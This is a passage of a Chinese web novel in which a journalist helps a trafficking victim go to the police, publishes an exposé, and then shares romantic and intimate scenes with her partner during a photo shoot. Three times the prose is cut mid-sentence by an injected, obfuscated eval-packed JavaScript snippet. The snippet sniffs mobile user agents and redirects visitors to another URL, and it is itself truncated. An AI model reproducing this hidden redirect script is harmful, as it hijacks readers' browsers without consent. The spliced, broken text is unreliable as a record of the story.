“我相信了,”她伸手握住齐寻的手:“相信的力量。” 掌心的温度透过指缝蔓延,齐寻目光沉沉地看着她,也慢慢将手掌握紧。 不,你不知道它的意义,他想。 你相信的,不过是它能被说出口的那一面。 十二点零五分。 太阳已经升到最高处,万物缩回炽白的光里,所有阴影都被压缩成细小的一片,没有躲藏的余地。 黎叙闻望着外面被晒得晶亮的树,站起身来。 “看来我信得不够虔诚,”她一哂,拎起背包:“走吧,去公安局,当面说得清楚些。” 而在她的背后,在这条道路的尽头,有一个很小很小的人影,在阳光下拖着自己短短的影子,一路狂奔而来。 这是青苹在逃出来之后,第一次这样不加遮掩、不顾路人目光地,奔跑在阳光里。 她正奔向一个巨大的赌局——也许她能成功,也许不能。 也许今天就是一切噩梦的终结,又或许,她会拖着所有人,一起坠入更深的深渊。 她在自己粗重的呼吸声中握紧拳头,咬着牙想,不成就不成,我不想再躲了。 我真的受够了这样东躲西藏的日子,我没有做错任何事,我应该能光明正大地走在街上,享受生活不是吗。 凭什么,她想,凭什么恶人能吃香喝辣、无所顾忌,她是那个受伤的人,却要背着这些一辈子? 哪怕那记者就是跟那帮畜生是一伙的,哪怕报了警也无济于事。 没关系,都没有关系,就算她活不成,她也要想办法从那些人身上咬下一块肉来。 ……而不是像黎记者的短信里说的那样,日日夜夜折磨自己,告诉自己,是她亲手断送了橙光的人生。 她已经为自己写好了结局。 但现在…… 酒店的logo近在咫尺,时间分分秒秒急着往前,已经过了约定的最后时间,可这段路却这么长,她好像怎么都跑不完。 真的有人还在等她吗? 青苹奋力地奔跑,久未运动的四肢像生锈的齿轮,肺破旧得像风箱,每一口气都像被撕扯着挤出来。 别走啊,她默念着,别走…… 她眦目欲裂地望向酒店大门,竟然真的看见两个人影,向着她的方向,奔她而来。 青苹嗓子发紧,泪水瞬间决堤。 她真的没有走,真的还在等她。 黎叙闻冲向青苹,一把抱住她:“你回来了,好姑娘!” 青苹喉头一哽,小声扭捏着:“别,都是汗……脏……” 她放开黎叙闻,还呼哧带喘的:“对不起来晚了,我收到你消息的时候,车马上就开了,我急急忙忙下来,地铁没查好,坐反了……” 黎叙闻简直要喜极而泣:“是地铁的错!” 青苹满脸又是汗水又是眼泪,随手抹了一把,抬头才看见齐寻,瞬间社恐大爆发,直往黎叙闻的身后躲。 “打手,”黎叙闻抬手拍了拍齐寻结实的胸肌,一本正经:“我专门请来给你撑场子的。” 青苹眼神躲闪,耳根泛红,低着头小声说:“打、打手好。” 齐寻:“……” 他面无表情,竟也没反驳:“打手先请你们吃个饭,你们好好商量一下去了警局怎么说。” “不,不吃饭!”青苹突然叫。 她很怕自己好不容易攒起的勇气,一顿饭就又吃回肚子里。 “不吃了,正事重要。”黎叙闻看向她:“你准备好了吗?” 青苹牵住她的手。 为了这一天,她已经准备了许多年。 “嗯!” …… 受害者的出现,让一切最终走向了最好的结局。 根据青苹的供述和黎叙闻提供的证据,一桩隐秘而恶贯满盈的罪行,从阴影中缓缓浮出水面。 警察根据她提供的线索,迅速锁定受害者的下落,并展开紧急营救行动。突袭时,房间里已经弥漫着一层薄烟,三名受害者蜷缩在角落,其中一人已昏迷。警方破门而入,将她们紧急送医,成功挽救了三条生命。 “应该是四个人!” 青苹在黎叙闻的陪同下,回公安局再次配合调查,被告知这个消息后,她第一时间打断警察姐姐:“橙光、大红、蓝紫、阿绿……四个,你们是不是少救了一个人?” 警察姐姐欲言又止,看看黎叙闻,又看看青苹。 这小姑娘第一次来报警时,哭光了全局的纸巾,她真的很怕告知真相后,又迎来她一顿爆哭。 黎叙闻握紧青苹的手,肃着脸:“警察同事,您讲,我们撑得住。” 警察姐姐失笑:“不是,她们没有大碍。” 真正的受害者只有三个人,而另一个,是从一开始,就混进群的蔡道全公司的“卧底”。 “她”一直监视着这些受害者,在风平浪静时岁月静好,一有风吹草动,先和稀泥,引导受害者们信任她,再在合适的时机提出见面,好将她们一网打尽。 “她”还有一个重要的任务,就是查清楚那个一直通过中间人给受害者们打钱的内线,到底是谁。 青苹瞪大眼睛,嚯地一下站起身:“是阿绿!” “没错,”警察姐姐点头:“这个人假扮受害者,将群里其余人骗到他们的势力范围内绑架。我们赶到时,他们已经在烧炭,企图假造自杀现场。幸亏你们报警及时,不然后果真的不堪设想。” “她们目前正在医院接受观察,同时配合警方调查。”警察姐姐给了青苹一个地址:“如果你们想去探望,可以提前联系警方,我们会安排。” …… 一直到病房门口,青苹都还在犹豫,到底要不要进去。 “要不还是算了……”她拖着黎叙闻的手,使劲摇头:“听说她家里人都在……” 黎叙闻跟拔河一样拉她:“那怎么啦,你救了她的命,她家里人不该给你磕一个?” 青苹眼眶都红了:“不要,不要……” 黎叙闻力气到底比她大,胳膊一甩,直接把她甩进了病房里。 午后阳光正好,透过窗户照进病房,最靠窗的病床上,坐着一个长发女人,正在暖融的光线里,逗着坐在她身边的孩子。 青苹看得愣了,良久才试探地叫了一声:“橙光?” 长发女人抬头望向她,温柔的眉眼在光影里明媚地弯着,看见她,神情渐渐透出一种恍然。 “青苹?” 这是她们认识很多年之后,第一次见面。 但谁都不必问对方是谁,好像她们早在一场大梦里,一起走过了很多很多时光。 橙光拍拍床边,柔声道:“小哭包来了,来呀,到这儿来。” 青苹却没有动,站在原地怔怔地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162341|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她,忽然嚎啕大哭。 她这一路上的恐惧、愤怒、压抑、焦虑,在这一刻,全部值回了票价。 这就是那个在无人理解的时候,一直支持她、保护她的人啊。 橙光吓得赶紧跳下床跑过来,急着给她擦眼泪:“怎么回事,又吓到了?你看,”她张开手臂转了一圈:“我好好的呢。” 她身边的小豆丁也奶声奶气学她:“妈妈好好的。” 青苹哭得抽噎,问:“你、你好了?” “嗯,本来就没什么。”橙光一把抱住她,轻轻拍着她的背:“青苹,谢谢你,是你救了我们的命,谢谢你,小哭包。” 青苹好容易控制住的眼泪,又变本加厉喷涌出来。 她天生怯懦,畏畏缩缩,只敢躲在屏幕后面觊觎别人的人生。 但往后不同了,她也是有能力、有胆量,能保护别人的人了。 “我们再也不用藏了,”橙光紧紧拥着她:“以后我做你的家人,好吗?” 青苹说不出话,只能用力地回抱她,好像那就是毋庸置疑的回答。 黎叙闻靠在门口,看得心绪翻涌。 不止是青苹,从她第一天去柳北到今天,她踏过了多少险象环生的道路,又多少次逼不得已,赌上一切放手一搏,这些压力和牺牲,今天在她们的眼泪里,悉数得到了报偿。 她当记者,也许为的就是这一刻吧。 荣誉、肯定、头衔、名气,那些都是很好的东西,可到最后,她的庆幸,还是落在这令人动容的一瞬间。 她深吸一口气,拿出手机,把已经存进草稿箱的正式报道发进了审核后台。 事到如今,一切都该对公众有个交代了。 …… 季筝那边正跟马颂今吃饭,手机嗡嗡一响,她拿起来一看,“嗯?”了一声。 马颂今莫名地看她,季筝对他一扬手机,笑道:“见了鬼了,我竟然接到了我们黎大记者的审核请求。” 不容易啊,这小破孩竟然还记得正经流程怎么走,她还以为黎大记者只会紧急发布绕过审核这一种呢。 马颂今跟着笑了两声,慢慢道:“这孩子……” 自从那一次黎叙闻在他办公室崩溃大哭之后,马颂今就再没跟她说过话。 所以今天她所有的成就、回报、在纸媒的末法时代依然绽放出的勇气和才华,全部都是她应得的,再没有人能用“关系户”这种浅薄的词来羞辱她。 只是那天黎叙闻在他面前呜咽着问,马叔,是不是我不当记者了,一切就都好了? 他还是想起来就愧疚。 季筝扫了一遍报道,道:“她确实不容易。” “她除了犟,没什么其他毛病,就是辛苦你给她兜底。” 季筝笑着摇头:“我可不敢领功,反倒是她让我想通了很多事情。” 马颂今拿过手机来,自己又细细看了一遍。 证据详实、用词谨慎,期间她跟齐寻在柳北的经历丝丝入扣,严谨客观,又不失其中不为外人道的曲折艰辛,甚至发布时间也选在警方已经控制了蔡道全之后,确保刑侦过程万无一失。 犀利简洁的风格,像极了当年的黎策。 美中不足,是信息量太大,以至于篇幅有些长。 报道的最后两段,黎叙闻提到,此拐卖集团以恶毒的手段渗透、挑拨离间,导致一些柳北本地人思想混乱不堪,略略提了一句书影和珍妮。 这两段放在整个报道的结尾,无论是力度还是内容,都显得有点格格不入。 马颂今轻啧一下,给黎叙闻发了条语音:“最后两段写的什么东西,倒金字塔原则,给你删了啊,别又跳脚!” 倒金字塔原则,即新闻报道中,越靠前的部分越重要,越与中心主题直接相关,靠后的则反之,所以当时长或版面不足时,总是从后往前删减,以保证最重要的信息得以保留。 黎叙闻这次倒没任何意见,立刻回了,回过来的语音甚至有些说不清道不明的欢快:“当然当然,全凭总编大人裁决!” 马颂今从鼻息中带出一声笑,做了删减,亲手按下了发布键。 92. 第 92 章 不出黎叙闻所料,这篇报道一发,立刻在社交平台上掀起了轩然大波。 以扶持为名、剥削侵害为实的恶行突破了公众的底线,在声势浩大的谩骂和讨论中,警方对蔡道全及其公司展开了全面调查。 尽管案件复杂,牵涉的利益广泛,但短短几天内,蔡道全的公司资产被冻结,涉及的非法资金流转和跨国犯罪线索也逐渐浮出水面。而他本人在被拘押后仍保持沉默,试图通过律师辩解,但终究无法撼动即将收网的局面。 网友们神通广大,竟顺着这波声势,又挖出了几个可疑的公司,它们无一例外地错综勾连,最后导向的,都是对底层女性的剥削和围剿,也都在这次监督和反抗中,次第偃旗息鼓。 而黎叙闻本人,也不出意外地,再次成为所有人关注的中心,“纸媒最后的良心”这种头衔不要钱似地往她身上堆,甚至有商业代言主动找上门来。 商报也有有意向将她打造成对外名片,绝大多数提议都被马颂今挡了回去,留了几个给黎叙闻选,而她却对个人曝光兴趣缺缺,跟马颂今申请了一周休假,瘫在床上玩手机。 书影也看到了报道,打了电话过来,谨小慎微的:“闻闻,你、你真没写我啊,那你这,算不算撒谎啊?” 黎叙闻无辜道:“我写了啊,总编嫌太长,给我删了,”她还怪委屈的:“我们保守纸媒是这样的。” 不过她这假休得并不完全安心,因为她用尽了人脉和手段,都打听不到被警方控制的高管里,有没有一个叫吴檀的女人。 她还好吗? 她真的……要给蔡道全陪葬吗? 消消乐欢快的音乐被短信提示音打断,她满心心事,不耐地点开一看,是一条陌生号码,内容没头没尾: 已获准戴罪立功,暂时安全。 黎叙闻困惑了两三秒,忽然跳了起来! 吓得坐在她旁边开视频会的齐寻立刻切了画面和麦,问她:“怎么了?” 黎叙闻激动得都结巴了:“吴、吴檀!吴檀!” 齐寻一惊,也立刻凑过来看。 “太好了……”黎叙闻笑中带泪:“就剩她了……太好了……” 在她毫不留情地揭示了某个污泥横流的角落后,这世界终于收起自己的不堪,站到了她这一边。 齐寻把她整个人捞过来,圈进怀里,轻轻吻掉她的眼泪:“嗯,这个世界因为你,又变好了一点点。” 黎叙闻笑着,也偏过头亲亲他的耳垂:“是因为‘我们’。” 齐寻的心跳都跟着这两个字,蓦地停了一瞬。 他再也不必担心她事事独立、不懂依赖。他能感觉到,这样一个固执又要强的女人,正在努力对他敞开自己,以她最大的决心和诚意,接纳他的靠近、他的占有,他的一切。 这种完整地拥有她的过去、现在和未来的满足感,令他五脏六腑都开始不妙地震颤,好像被他封印许久的某种渴求,正力图冲破桎梏,喷薄而来。 会议软件还开着,那边传来制片人疑惑的声音:“齐老师?齐老师您还在吗?” 齐寻伸手一把扣上屏幕,低头含住怀中人柔软的双唇,唇舌近乎暴虐地长驱直入。 这一次他几乎没有遭遇抵抗,因为她也同他一样渴求。 夜很静,于是后半夜泠泠的细雨,听见了某间彻夜光线暧昧的公寓里,刻意压抑的声息。 轻柔的吻从她的额头、山根、鼻尖,一直滑落到脸颊,最后细细碎碎落到她发红的耳垂,流向藏在阴影下的那一处凸起的疤痕。 长长的一段,蜿蜒在她耳后,周围触角放肆地勾着她如云发丝,静静地等人来。 许是其他部位的拢捏揉捻太过分神,黎叙闻呼吸发紧,根本没有余力再去避开,于是齐寻借着床头一段萤光,看清了那一块—— 那条黑色的小蛇吐着信子,盘踞在她耳侧,嘶嘶游动。 他气息陡然一紧,一只手缠住指缝里的发丝,顺着它柔软曲尽的身体,轻而又轻地舔舐,鼻息却避无可避,灼热地重重扑在她的耳廓。 耳际一凉一热,激得黎叙闻本能地蜷缩起身体,指尖僵硬着,扣紧了他结实的小臂。 感受到怀里人一阵强似一阵的战栗,齐寻顺着她的腰身往上一捞,让她整个人陷进自己的怀抱,继而从掌心撑开她的手掌,一根、两根,缓慢但强势地,将手指插进她绷紧的指根,然后紧紧握起。 “不要怕,闻闻,”他在她耳边喘息:“我在这。” 也许是一个人的重量和体温让她有了踏实的安全感,她忽而觉得自己的身体变得透明起来,血肉骨骼,神经肌理,她能感受到每一次颤抖时脑中回路像星星般亮起,又迅速炸开湮灭,波涛汹涌,像一阵绵延不绝又痛苦的痉挛。 黎叙闻失神地盯着天花板,眼眶酸胀,深深地、濒死般地出了一口气。 她忽然就哭了。 眼泪被轻轻吻掉,然后涌出更多,最后连同她的欢欣、她的满足,还有她蠢蠢欲动的燥热的暴戾恣睢,全部被他耐心地吞饮。 闪电间隙的几秒钟,黎叙闻猝不及防地从高空坠落,一种近乎绝望的窒息感瞬间扼住她的神经。 这种如临深渊的感觉一定不是第一次了,不然它不会这么熟练地瞬间席卷她的意志,就好像在她找不到的记忆里,也有什么人,这样无能为力地死在她面前。 她的出神只持续了一两秒,下颌便被人挟住,齐寻那双朦胧沉黑的眼睛,毫无遮挡地望进她的眼底。 那一瞬间,被穿透的不仅仅是她的身体,还有她拼命隐藏的、不能示于人前的秘密。 这避无可避又清晰的暴露,让她深埋于最深处的求生欲骤然爆发,她几乎是机械地、没有犹豫地,伸出双手环住他血脉搏动的脖颈,像饥饿者看到盛宴,迫不及待地紧紧卡住他的喉结。 她能明显看到齐寻瞳孔猛地一缩,身体本能般僵住,而这个时刻,他跟她之间的距离变得最密不可分,像两棵合抱而成、根茎相依的树。 他如同一条突然被甩上岸的鱼,尾鳍沾着台阶上的灰土,无望又徒劳地弹动着,在这个瞬间,回到了那个他永生难忘的夜晚。 他在那晚死去,又在今夜重生。 没有人知道那个夜晚发生了什么,那里只有他和她,那是他们幽深、沉重,又无法言说的回忆。 在那个永不休止的夜里,他永远向她臣服。 也许一秒钟,也许一万年,世界变成了水晶球中亦幻亦真的风景,折射,扭曲,岌岌可危又触手可及。 吉光片羽中最不起眼的角落,两个人依偎在一起,躯体交缠,喘息粗粝,有人低沉声线被磋磨得软烂不堪: “闻闻,不要走。” 第二天,黎叙闻是被自己指间小心翼翼的冰凉触感叫醒的。 她困倦地睁开眼睛,见齐寻靠坐在她身边,正把那枚被她毫不留情还给他的铂金圈往她手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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爱也会。 但这次是齐寻第一次跟她开口提要求,于情于理,她都想为他付出一些。 “行,你挑你喜欢的吧。”黎叙闻滚到床的另一边,拿起手机,收到了一条阿咩的微信,说是他们同一批志愿者的铭牌已经做好了,让她有空的时候去队部拿。 “诶,我想起来一件事……”她拿脚趾去勾齐寻的小腿:“你铭牌上的紧急联系人,该写我了吧?” 齐寻本来要顺口答应,眸光一闪,又想起他早就不是微光救援队的副队长了,于是他笑着淡声道:“都卸任了,还写什么?” 黎叙闻背对着他,锁了手机屏,哦了一声,静默半晌,脚趾动作在他大腿上卷土重来:“写我。” 齐寻轻嘶一声,探手握住她脚腕:“别闹。” 黎叙闻身子一侧,一根手指勾过他下巴:“写我!” 齐寻原本平直的唇角翘得快压不住了,却仍硬撑:“不写。” 这家伙怎么软硬不吃呢! 黎叙闻直接伸手,冰凉凉的指尖直往他最敏感的侧腰掐:“写我写我写我!” 齐寻大笑着把她裹进被子里,箍进怀中让她动弹不得:“小祖宗我真上辈子欠你的!再闹,摄影师你找!” 93. 第 93 章 写不写这件事到最后都没分出个胜负,第二天下午的摄影师倒是约到了。 沟通了基本信息后,就要开始选背景,摄影师建议以他们的共同经历为基础来选择,这样拍出来的照片里有回忆,就更有意义。 黎叙闻跟齐寻面面相觑。 什么共同经历? 是在代孕机构假扮夫妻套医生和经理的话,最后目睹受害者刺伤她爸,诱发了PTSD? 还是在洪水里她命悬一线,连累齐寻都差点回不来了? 还是在柳北,他们各自一个战场,最后九死一生护着证人逃命? 两人对视几秒,齐齐摇头:“不必了。” 摄影师诧异:“不必了?那……那会不会太普通了?” 齐寻:“普通点儿好。” 黎叙闻:“对,我们就喜欢普通。” 过普通的日子不好吗!愚蠢的人类! 摄影师挠挠头,这年头见惯了要特立独行的,拍情侣照怎么特别怎么来,就好像一年到头就指着这套照片添点刺激似的,他俩倒好,一点发挥的空间都不给他留。 普通就普通吧,冲这两人的颜值,放出去也能吹一阵子了。 于是他一咬牙,点头道:“行,那要不……拍个校园主题的?重返十八岁?” 黎叙闻正要摇头,想说这也太矫情了,同时就感觉到齐寻一直牵着她的手,指尖微微紧了一下。 “就它了。”黎叙闻说。 齐寻立刻转过脸看她。 黎叙闻狡黠地一抬眼尾,在他耳边道:“写我。” 齐寻:“……专心点!” 摄影师笑道:“感情真好,在一起多久了?” 黎叙闻眼都不眨:“三——” 齐寻一把捂住她的嘴:“四个月。” 黎叙闻嘴上盖着他的手,转头瞪他。 不让说三天就算了,四个月从何说起? 从他们仓库初见算起是吧! 摄影师极为有职业素养地假装没看见:“行,那咱们选一下衣服?” 这摄影工作室不算大,衣服的选择也有限,既然选了校园,那刻板印象的校服必不可少。 两人同时换好衣服出来,看到对方,俱是一怔。 齐寻上身穿着白衬衫,上缘扣子开着两三颗,衬衣下摆自然地垂着,西装外套随手握在手里,懒散地半垂在空中。 他眉目恍然懵懂,远没有平日的疏离和坚毅,好像刚从课堂上醒来,一抬头,看见了什么让他挪不开眼的人。 那个让他挪不开眼的人,自然是让他肖想了整个青春,充满了他回忆里每一个皱褶的女孩。 黎叙闻素着一张脸,长发高高地束起一个马尾,收腰衬衫半身裙,踩着一双板鞋,眼神清澈又倔强,正直直地盯着他瞧。 摄影师带着个小助理,四个人就近找了个大学校园,先拍了几张经典场景。 “男孩子衣服搭肩上,往上走,对,女孩子抱着书下楼,好,非常好,对视,好——” 齐寻听话地被摆布,一只脚踏在楼梯上,微昂着头,眼睛一瞬不瞬地盯着站在上两级的黎叙闻,眼神粘稠得化不开,好像真的在看他暗恋多年的白月光。 这个想法让黎叙闻猛地一皱眉,换来了摄影师一声:“诶?” …… “同学,你们几个能配合一下吗,女孩子站树下你跟她们说话,对,男孩子你在篮球场旁边,边运球边看她,对就是这样,非常好——” 快门按下的一瞬间,黎叙闻下意识地往场边侧了下脸,看见齐寻又是那副专注的神情,忽然玩心大起,远远跟他挥手:“啊!老公!” 齐寻手一顿,篮球跟长了腿似地,邦邦邦地弹去了一边的花坛里。 这一瞬间被镜头无比精准地抓住,留下了齐寻一张呼之欲出的笑脸。 …… 下一个场景换到室内,摄影找了间空教室,让两人坐一起写作业,齐寻假装去抄黎叙闻的。 原本的安排是两人视线都垂在黎叙闻的笔记本上,可齐寻稍一靠近,眼睫就不由自主地抬起来,又停在了黎叙闻的侧脸上。 ……他实在是看不够。 如果那时候他们没有失去联系,如果他们不曾缺席彼此的青春,是不是就会是现在这样的场景? 他在楼梯口,在球场上,在教室里,只要有她出现的地方,他的目光就从不旁落。 而她会一直是他世界的焦点,无论在哪里,无论她在做什么。 这是他们之间本该拥有、却被阴差阳错截断的十年。 黎叙闻感受到他复杂的目光,稍微抬头,视线微挑,正好撞上他偷偷摸摸的这一瞟。 那里面带着的温度和执拗,烫得她眉心一阵震颤。 这种眼神她见过,她见过无数次,并无一例外地痛恨着。 那是黎策看她的目光——好像透过她,穿越层叠的时空,在无望地注视着什么人。 所以那里面的爱和温再厚重,再绵长,也不属于她。 一阵阵虚无的空乏感从她心里不间断地往上涌,握在她手中的笔遽然落在桌上,砸出一声砰然。 “齐寻,”她忽然叫他的名字:“你在看谁?” 齐寻眉头一挑,像是醒了,答案却鬼使神差地卡在喉头,没有说出口。 黎叙闻嚯地起身,转头顾自离开,道:“不拍了。” 摄影师已经被他们之间着莫名的张力吸引着拍了百八十张,见女主角面色冷硬地从他镜头前走过,而男主坐在她身后,一脸茫然地望着他,又连着按了十多张,指头几乎要抽筋。 齐寻猛地反应过来,立刻起身追出去,在走廊上拦住她:“闻闻!” 黎叙闻面色冷淡,抿着唇不说话。 “还差最后一点了,”他语气近乎恳求:“拍完吧,行吗?” “我没有看别人,”他又说:“我真的在看你。” ——他确实没有在看这个时空的她。 他其实已经很久很久没有想起那个女孩了,自从跟她重逢,那段日子好像终于被解除了封印,化成了指间沙,慢慢从他的意识里流走了。 但今天,她几乎是完美地复刻了他这么多年的假想白日梦,那么鲜活,那么年轻,以至于那个守在废墟上面的女孩,又纤毫毕现地站在他面前了。 虽然他知道当时的她肯定不是这副样子,因为她说了,她有点胖胖的,是好看的那种胖。 但那个人也是她,不是吗? “闻闻,”他低声道:“拍完吧。” 光线晦暗的走廊里,他的声音比昨晚的雨还要潮湿,泡得黎叙闻心里一阵难忍的酸胀。 我在干什么,她想。 不是所有的男人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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黎叙闻一边轻笑一边低头去看:“什么宝贝,还捂得这么——” 最后一个字忽然堵在了喉咙里。 他的确不太会画,比例啦透视啦全部一塌糊涂,但意外地,勾勒出了一幅她难以言说的画面。 他没有画夕阳下坐在窗台上安静的黎叙闻,粗糙的画纸上,是一个女人戴着头盔的纤细背影。 画中人半蹲在窗前,腰间挂着一台对讲机,三脚架随意倒在脚边,一台笨重的摄像机架在窗台上,她正透过狭窄的视窗,聚精会神地记录着外面世界的一片废墟。 她穿着的防弹马甲上,印着硕大的“PRESS”。 黎叙闻怔忪地盯着手里画。 “你不是问我在看谁吗?”齐寻垂着眼:“在我眼里,你就是这个样子。我看着的,是这样的你。” 下一刻,一股力量忽然将他拽得下坠,他不由躬身屈从,紧接着,微凉却柔软的唇瓣带着夜晚空气中弥漫的尘气,蓦地贴上了他的。 再亲密的事他们都做过,身体的触碰早已不是禁忌,但这个吻实在缱绻而殷长,让一切难解的、错位的,全部囫囵盖在了如血的残阳底下。 “太棒了宝贝们,”整个房间只有摄影一个人感动得迎风流泪:“太棒了,互免吗?求求你们了互免吧!” 94. 第 94 章 可能是傍晚被刺激了,晚饭的鸡丝凉面,黎叙闻吃得非常凶狠。 还是那家他们第一次见线人的小吃店,这个点几乎坐满了人,逼仄狭长的店面拥挤异常,食客们吃烧烤、喝啤酒,高声聊天,嗡煌的背景音塞满了夏末的晚风。 黎叙闻在这样的底噪里,又往面里加了一勺油泼辣椒。 碗里红红绿绿地糊成一团,看一眼都觉得眼睛着火,黎叙闻沉着脸一挑一大口,毫不犹豫送进口中,随便嚼两下,就立刻吞进肚子里。 就好像那里有一个很大的空洞,平时她不去看,现在不一样了,现在身边这个人就像一把手电,随便在她身上一照,她这一生的沟沟壑壑,都变得无所遁形。 只可惜凉面填不满这个洞,吃多了更觉得冷飕飕。 “去给我倒热水。”她命令坐在对面的齐寻。 齐寻沉默地看着她大口吃面,闻言直接从老板那儿拎了壶过来,倒一碗茶,吹开浮渣,才放在她面前。 黎叙闻端起来一饮而尽,那个洞似乎被淹得浅了些,一抹嘴,问他:“你怎么不生气。” “为什么生气?” “我无理取闹了。” “后来你不是亲我了么。” 听到这句,黎叙闻抬起头来,瞪着眼睛:“齐寻你能不能有点骨气!” 齐寻觉得新鲜:“骨气能哄你高兴?” “……不能,会让我更生气。” “那要来做什么用?” 他语气毫无波动,面无表情把她看穿了。 黎叙闻拌着碗里的面,心里过意不去:“你至少应该表面上反抗一下,不然我下次就更欺负你。” 齐寻看着她,有点想笑:“嗯,这句我就当‘对不起’听了。” 黎叙闻又低头搅了半天,声音融化在细微的搅拌声里:“对不起。” 齐寻垂视她发顶,眼眶微微瑟缩了下。 “之前救援的时候总有磕碰,他们很爱玩一个游戏,就是隔着衣服在别人身上猜,哪里有淤血。”他给她又添上热茶:“被猜的人尽量绷住,不露出马脚,但是真被人用力按到伤处,基本都会直接跳起来打人,因为真的太疼了。” “所以刚刚不怪你,怪我,是我碰到了你的伤处,”他说:“而且那块伤口,你早就露给我看了。” 面条软绵地从筷子间滑进碗里,黎叙闻从喉咙烫到眼底,像现在才尝到了辣椒的味道。 那天在疗养院她说了太多话,自己都记不得到底交代过什么,这一句就算有,肯定也是浅浅带过,因为她从不好意思跟个要糖的小孩似地抱怨,说我爸只喜欢小时候的我。 人越长大,就越会意识到自己的无关紧要,她做记者更是,有时候采访,一群人蜂拥而上,一个问题问五六遍,都不一定能换来对面一个眼神。 可无论她说了什么,他全都记得。 这个人的心里眼里,都只有她一个人。 她有一点小小的动容,感觉又有一点点缺失的东西,被他从泥地里扒拉回来,给她轻轻拼上了。 外面天空橙红,又零星地下起雨来,有一滴雨穿过天空和云层,砰地一声,砸进了她心里。 黎叙闻被这一声惊得立刻又低头吃面,不留神吃进去一块没拌开的辣椒,呛得她爆发出一阵惊天咳嗽。 那滴雨跟着呛出的眼泪,一起悄悄流出来了。 “这面还能吃?”齐寻递过来纸巾,无奈道:“下次再生气,折腾我就行,别折腾面。” 她揩掉眼泪,目光远远落进雨幕里:“齐寻,下雨了。” “听见了,”齐寻背对着门,也不回头:“一会儿打车回。” “我想淋淋雨。” 齐寻扬起眉毛:“觉得热?” “不,”她摇摇头:“就想淋淋雨。” 她想用无根水洗掉一些东西,然后真正地、眉目轻盈地,重新开始。 一脚踩进潮湿的雨天,即使在这样暑气未消的日子,也依然冻得人一激灵。 但是这感觉真好。 雨也不很大,带着秋日萧瑟的预告,细细密密交织在她身上,一丛丛洗去虬结在她身上经年的根瘤,从她心里带走了一整座压在那里的盐山。 所以雨尝起来是咸的,但并不苦涩。 在她身后,有个人抱着一把透明的伞,寸步不离地守着她。她只要一转身,就有一片温暖干燥的港湾,等着烘干她一路走来的泥泞。 他就是这么好,她想。 我真是……真是很喜欢他。 “齐寻。”她回过头,秾丽眉眼坠着空气里沉沉的湿意,坠得她眼角眉梢止不住地弯:“你来啊。” 齐寻撑开伞快步跟上来:“不想淋了?” “不,”黎叙闻推他:“你往前走,往前走走。” 齐寻笑着看她,不疑有他,撑着伞大步往前走:“好了吗?” “再走走。” “现在呢?” “还要再远点。” “现在——” 他话音未落,听见身后有轻盈的脚步声,踏着路上薄薄的河,冲他飞奔而来。 齐寻无声地笑,不着声色地收紧核心。 就知道她要干什么。 下一刻,一只带着水汽和雨水气味的小鸟,扑棱着飞上他的脊背。 齐寻大笑着扔掉伞,双手撑住她的腿:“幸亏你男朋友练过,不然脸着地了。” 身后的人咯咯笑,把脸埋进他后颈,笑得他整个脊背都一片温热的潮湿。 “我走累了,”黎叙闻底气超足,根本听不出累:“背我回家。” 小鸟在他背上,叽叽喳喳说了很多话。 比如她小时候住在哪里,那些胡同和荒地,现在都变成了高楼大厦;比如她是怎么带着小伙伴,把公园里乱定价的□□老板说得无地自容;比如她念书的时候成绩很好,长得漂亮又胆子大,妥妥的风云人物,收到的情书按沓算,她一封都没看过,觉得那些男生都小脑发育不良;比如她出国之后,天天闻隔壁□□的味道,实在受不了,过去敲门说要采访做药物滥用专题,吓得人家第二天就搬了家。 很多很多,都是些细碎的、神奇的细节,足以让齐寻了解,她是如何成为了今天的她。 ……可偏就没有提那次大地震。 齐寻一边听这些故事,一边有些怅然地想,她是真的完全不记得了吗? 有些PTSD患者,在接触到某些跟记忆相关的人或事时,会想起一部分来,毕竟经过了多年的沉淀和潜意识自我修复,那些东西可能已经没有那么可怕了。 但她不一样,她空白得好像根本没有参与过那些事。 即便只记得一点点,在他提起父母的去世时,她也多少会想起来,跟他说说吧。 他把闻闻往上掂了掂,一面庆幸,也许这是命运对他的弥补,让他既能拥有她,又永远都不用面对那些过往中不堪的自己;一面又消沉——那是他们联结最深的地方,就像一颗很小时候被虫蛀过的苹果,他的人生、他的未来,完全围绕着那个伤疤,无限地生发、向内蜷曲,最后长成了今天这副隐忍、偏执的模样。 她忘记这一切了,于是他也不能告诉他,他们曾在什么样的过往里相遇,他又是怎么拼尽全力、用她做借口,才说服自己活下去,怎么艰难地踽踽独行一路走来,走到她的面前。 这是一种弥补,又何尝不是一种剥夺。 就这样一路走,一路讲,讲到了家门口。 雨已经渐渐大了,小区的路灯新换不久,蓬勃的暖光映亮细密雨帘,散发着温暖而清亮的光。 齐寻背着她,慢慢从黑暗踏进这样的光里,从背后看去,他利落的短发被染了一层毛茸茸的雾,亮晶晶的,让她忍不住地上手摸。 齐寻也不阻止她,只问:“冷吗?” 沉缓的震动透过他的脊背,嗡嗡地震着黎叙闻的胸口。她把耳朵贴到他背上,手指不老实地从他发顶绕到了喉结,兴奋道:“你说话,再说一句话。” 